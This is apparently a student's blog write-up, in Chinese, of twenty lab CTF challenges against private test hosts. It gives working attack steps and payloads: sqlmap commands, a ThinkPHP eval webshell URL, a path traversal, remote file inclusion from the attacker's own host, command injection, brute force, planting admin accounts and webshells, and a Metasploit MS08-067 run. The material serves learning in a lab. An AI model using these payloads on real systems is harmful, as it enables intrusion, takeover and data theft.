20154312 曾林 ExpFinal CTF Writeup

0.写在前面

1.不合理的验证方式

2.加密与解密的对抗

3.一个SQL引发的血案

4.管理员的诟病

5.备份信息的泄露

6.svn信息泄露

7.coding

8.平衡权限的威胁

9.文件上传的突破

10.文件下载的利用

11.include的沦陷

12.include的沦陷(二)

13.exce的沦陷

14.ftp的逆袭

15.ftp的漏洞

16.幽灵的Remote Desktop

17.无法爆破的密码

18.IIS ghost

19.xampp

20.dangerous 445

0.写在前面

我做的免考包括哪些?

  • 参加2018年密码保密与信息安全大赛,获得红蓝对抗第二名,积分7800/8900

  • 完成20道CTF试题,并撰写Writeup

20道题,103张截图,终于这个免考项目还是完成了。

  • 为什么选择CTF作为自己的免考项目?

    拿到key的那一瞬间真的太刺激了,参加完信安大赛之后很怀念这种拿key的感觉。另外就是专业的原因,没有太多的机会去打CTF的比赛,希望能以这种方式让自己爽一把。

  • 做完20道题,截完103张图有什么感受?

    感受就是...拿key挺爽,写writeup挺累。但是写完writeup简直是对拿key过程的一个升华。回顾20道题会发现自己竟然学会了这么多东西,也会去找题目之间的共性,比如...好像有几个题目的靶机445没关(永恒之蓝还是好用)。再就是include、exec、ftp漏洞都是上课没有主要讲的,这20道题丰富了我的知识体系,特别是漏洞这块。

  • 一个学期的网络攻防学习终于结束了,想对老师说啥?

    希望能把信安大赛的那套红蓝对抗带到课堂上,还是挺有意思的。实践性比实验还要强。最后就是很感谢老师的指引,为啥不说指导呢,因为我觉得老师最重要的就是教会了我学习的态度,免考项目就是一个很好的例子,前路还长,一起加油吧。

1.不合理的验证方式

题目

一个web系统中管理员账户:admin中有一串key,页面只提供了试用账号密码:test  test ,我们需要登录进admin账户获取key来通过本关。

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用账号密码:test test登录。

3.使用Firefox的firebug插件查看cookies。发现只有user段,值为test。

4.将test修改为admin,再次访问页面,得到key:I am admin

Cookie:判断用户信息的凭据
存储在本地

Test用户登录产生的cookie信息:

2.加密与解密的对抗

题目

通过分析加密字符串获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.通过查看源码,查看2个超链接的地址:index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3JhbmtpbmcrbGltaXQrMCUyQzQ=

index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3llYXIrbGltaXQrMCUyQzQ=

3.2个地址的Word参数是base64加密,将其解密。

4.解密后的字符串:SELECT+%2A+FROM+language+order+by+year+limit+0%2C4是url加密,再次解密:

5.解密结果是一个sql语句。构造新的语句:SELECT * FROM language order by year将其url加密。

6.将得到的字符串base64加密。

7.得到的加密串构造地址:http://192.168.102.62/index.php?word=U0VMRUNUKyorRlJPTStsYW5ndWFnZStvcmRlcitieSt5ZWFy

8.访问得到key:hello world。

3.一个SQL引发的血案

####题目

通过sql注入获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.访问超链接:http://192.168.102.62/index.php?id=1通过修改id的值可以查看到相应排名的语言。

3.访问:http://192.168.102.62/index.php?id=1and1=1 返回正确内容。

4.http://192.168.102.62/index.php?id=1 and 1=2 返回错误内容。

5.通过上面可以判断存在注入。Kali下使用sqlmap获取数据库内容。

使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dbs 查看数据库。

6.使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dump -D “third” 获取数据库内容。得到key:I am sql inject

4.管理员的诟病

####题目

通过sql注入获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用kali下的wpscan扫描站点的用户。使用命令wpscan --url “http://192.168.102.62” -e u

3.将密码字典放在桌面。使用命令:wpscan --url “http://192.168.102.62” --username admin --wordlist /root/Desktop/password.txt

4.使用得到的账号密码登录。后台打开外观->编辑->首页模板。

5.粘贴上webshell 代码,保存,访问主页,密码为412587。

6.打开key.php,得到key:hi wordpress

5.备份信息的泄露

题目

通过备份文件获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用wwwscan,如图配置扫描

3.得到结果:

4.下载扫到的文件:192.168.102.62/www.zip。解压得到key:Dir fuzz

6.svn信息泄露

题目

通过svn备份获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用JSky扫描工具,扫描http://192.168.102.62

3.扫描得到svn的备份信息。访问http://192.168.102.62/.svn/entries

4.可知站点目录下只存在index.php文件。于是访问:http://192.168.102.62/.svn/text-base/index.php.svn-base查看到的就是php文件的源码。

5.得到key:Svn backup

7.coding

题目

通过代码执行漏洞入侵目标

解题过程

1.打开浏览器,访问http://192.168.102.62,发现时thinkphp 2.1版本

2.通过搜索引擎,得知此版本存在代码执行漏洞。Poc为index.php/module/action/param1/${@print(THINK_VERSION)}

3.根据poc,构造地址:http://192.168.102.62/index.php/module/action/param1/{${phpinfo()}}

4.1.证明存在漏洞。再构造:

http://192.168.102.62/index.php/module/action/param1/{${eval($_POST[s])}}使用菜刀连接,如图配置

i

5.浏览站点内容

6.得到key:thinkphp code execution

8.平衡权限的威胁

题目

通过未授权访问获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.查看源码,观察到超链接有一定规律

3.构造地址:192.168.102.62/index-2.html ,访问被限制

4.在主页打开firefox的插件firebug,切换到网络->html选项

5.在地址栏输入:http://192.168.102.62/index-2.html 并回车。从响应内容里得到key:Unauthorized Access

9.文件上传的突破

题目

突破上传限制

解题过程

1.打开浏览器,访问http://192.168.102.62

2.随便上传一个jpg文件,显示:

3.再上传一个txt文件,显示:

4.Kali下打开burpsuit,并如图设置代理监听为127.0.0.1:8080

5.打开浏览器设置http代理为127.0.0.1:8080

6.Burpsuit如图设置

7.点击上传,拦截到数据包

8.如图位置修改为image/jpeg ,点击forword

9.成功上传,得到key:Dangerous MIME

10.文件下载的利用

题目

文件下载漏洞的利用

解题过程

1.打开浏览器,访问http://192.168.102.62

2.文件可正常下载,访问http://192.168.102.62/images/Desert.jpg 可得到相同的图片

3.查看此文件下载地址为:http://192.168.102.62/index.php?file=Desert.jpg构造新地址:http://192.168.102.62/index.php?file=../index.php下载得到index.php文件,打开得到key: keep going

11.include的沦陷

题目

通过文件包含执行代码

解题过程

1.打开浏览器,访问http://192.168.102.62

2.观察url地址,访问:http://192.168.102.62/index.php?lang=aaa.php出现报错

3.确定存在文件包含漏洞,且可能可以远程包含。由于测试机和服务器可以互访,所以本地搭建web环境,web根目录存放test.txt文件,内容为:

<?php

$f=fopen("index.php","r");

echo fread($f,filesize("index.php"));

fclose($f);

exit();

?>

4.接下来访问:http://192.168.102.62/index.php?lang=http://192.168.102.61/test.txt查看源码,得到key:Remote File Include

12.include的沦陷(二)

题目

通过文件包含获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.观察url地址,访问:http://192.168.102.62/index.php?lang=aaa.php 出现报错

3.由此判断存在本地包含漏洞。构造地址:http://192.168.102.62/index.php?lang=../../boot.ini访问得到key:Local File Include

13.exce的沦陷

题目

使用命令执行获取权限

解题过程

1.打开浏览器,访问http://192.168.102.62

2.输入 127.0.0.1并提交

3.填写127.0.0.1 | ipconfig 提交

4.可知目标系统存在命令执行漏洞。执行:127.0.0.1 | type c:\key.txt 可以读取到c盘写key.txt的内容

14.ftp的逆袭

题目

通过ftp获取网站权限

解题过程

1.打开cmd,输入ftp 192.168.102.62 连接ftp服务器,发现提示用户名为:ftp

2.如图配置参数,线程限制在20,端口设置为21 :

3.点击字典,添加我们的爆破字典

4.点击扫描弱口令,选择扫描ftp弱口令

5.扫描出弱口令账号ftp,密码ftp,登陆上去,发现是web目录

6.连接ftp,上传webshell

7.浏览器访问192.168.102.62/php.php

8.点击web shell,添加用户,分别执行:

net user test test /add 
net localgroup administrators test /add

9.远程连接服务器。用账号test 密码test 登陆

15.ftp的漏洞

题目

通过ftp漏洞获取网站权限

解题过程

1.打开终端,输入ftp 192.168.102.62 连接ftp服务器,发现ftp服务软件为Gabriel’s ftp server

2.通过搜索引擎,查找版本找到资料:http://www.exploit-db.com/exploits/27401/

3.下载攻击脚本27401.py放在桌面,修改为如下:

4.打开新终端并切换到桌面,执行python 27401.py

5.得到key:ftp bypass

16.幽灵的Remote Desktop

题目

通过远程桌面连接获取目标权限

解题过程

1.打开爆破工具,填入目标ip,选择3389端口,开始扫描

2.点击添加字典,添加想爆破的账号密码

3.点击扫描弱口令,选择扫描3389弱口令

4.最终得到弱口令:administrator 123456

5.远程登录192.168.102.63,使用账号administrator 密码123456

17.无法爆破的密码

题目

过远程桌面连接获取目标权限

解题过程

1.远程连接192.168.102.63

2.在此页面下连续敲击shift键,弹出别人留下的后门

3.在cmd执行

net user test test /add
net localgroup administrators test /add

4.使用账号密码test test 登陆

18.IIS ghost

题目

通过IIS漏洞获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.因为iis + webdav环境可能存在iis put漏洞,所以我们使用IISPutScanner扫描。如图配置并扫描

3.扫到漏洞。使用iiswrite进行提权,写入asp木马到服务器。填写域名,再如图选择put。选择asp木马

4.点击提交数据包,成功上传

5.再如图选择move,点击提交数据包

6.成功后访问http://192.168.102.62/shell.asp,使用密码admin登陆

7.选择key.asp,点击编辑,得到key:put and write.

19.xampp

题目

通过xampp漏洞获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62,发现跳转到http://192.168.102.62/xampp/而且得知其版本为 1.7.3

2.通过搜索引擎,知道此版本存在一个漏洞可以读取目标主机上的文件http://www.exploit-db.com/exploits/15370/

3.通过poc,我们构造:http://192.168.102.62/xampp/showcode.php/c:boot.ini?showcode=1访问地址可以得到我们需要的key

20.dangerous 445

题目

通过系统远程溢出控制目标主机

解题过程

1.打开nessus,使用网络漏洞扫描,扫描主机192.168.102.62

2.查看扫描结果,发现存在漏洞,基于445端口,可远程溢出。使用ms08-67漏洞攻击

3.打开msfconsole,使用攻击模块Use exploit/windows/smb/ms08_067_netap,设置目标ip:set RHOST 192.168.102.62exploit

4.成功攻击后输入cat c:\key.txt 显示c盘下的key.txt文件,得到key:you win

posted @ 2018-06-27 11:57  Magic_Tsang  阅读(842)  评论(0编辑  收藏  举报